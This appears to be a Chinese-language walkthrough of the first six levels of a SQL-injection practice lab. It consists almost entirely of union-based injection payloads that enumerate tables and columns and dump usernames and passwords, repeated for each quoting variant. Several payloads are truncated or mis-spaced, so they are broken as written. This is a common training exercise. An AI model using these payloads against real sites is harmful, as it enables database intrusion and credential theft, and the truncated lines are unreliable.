在开始指南前,我们先学习一下基础的注入语句,具体功能如下,这是我们指南的基础。
判断有多少列
order by 4---
判断数据显示点
union select 1,2,3 -- -
显示出登录用户和数据库名
union select 1,user(), database()
查看数据库有哪些表
union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema
查看对应表有哪些列
union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher
查看账号密码信息
union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---
第一关 基于单引号的字符型
1.判断注入点
先尝试注入一下
id=1 'and 1=1 -- -
2.把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ’ 字符注入
id=1 'and 1=2 -- -
3.确定注入字符后,判断有多少列, 超出列数会报错
id=1' order by 4 -- -
4.判断数据显示点
id=0' union select 1,2,3 -- -
5.基本注入语句注入
判断有多少列
id=0' order by 4---
判断数据显示点
id=0' union select 1,2,3 -- -
显示出登录用户和数据库名
id=0' union select 1,user(), database()
查看数据库有哪些表
id=0' union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema
查看对应表有哪些列
id=0' union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher
查看账号密码信息
id=0' union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---
这样第一关就通过了
第二关布尔型注入
尝试注入语句
id=1 and 1=1 -- -
发现可行后,重复以上注入步骤。
判断有多少列
id=1 order by 4---
判断数据显示点
id=1 union select 1,2,3 -- -
显示出登录用户和数据库名
id=1 union select 1,user(), database()
查看数据库有哪些表
id=1 union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema
查看对应表有哪些列
id=1 union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher
查看账号密码信息
id=1 union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---
第三关 基于’)的字符型注入
尝试注入一下代码
id=1') and 1=1 -- -
发现可行后,继续常规注入
判断有多少列
id=1') order by 4---
判断数据显示点
id=1') union select 1,2,3 -- -
显示出登录用户和数据库名
id=1') union select 1,user(), database()
查看数据库有哪些表
id=1') union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema
查看对应表有哪些列
id=1') union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher
查看账号密码信息
id=1') union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---
第四关 基于")字符型注入
判断有多少列
id=1") order by 4---
判断数据显示点
id=1") union select 1,2,3 -- -
显示出登录用户和数据库名
id=1") union select 1,user(), database()
查看数据库有哪些表
id=1") union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema
查看对应表有哪些列
id=1") union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher
查看账号密码信息
id=1") union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---
第五关 基于’字符型的错误回显注入
判断有多少列
id=1' order by 4---
判断数据显示点
id=1' union select 1,2,3 -- -
显示出登录用户和数据库名
id=1' union select 1,user(), database()
查看数据库有哪些表
id=1' union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema
查看对应表有哪些列
id=1' union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher
查看账号密码信息
id=1' union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---
第六关 基于"字符型的错误回显注入
判断有多少列
id=1" order by 4---
判断数据显示点
id=1" union select 1,2,3 -- -
显示出登录用户和数据库名
id=1" union select 1,user(), database()
查看数据库有哪些表
id=1" union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema
查看对应表有哪些列
id=1" union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher
查看账号密码信息
id=1" union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---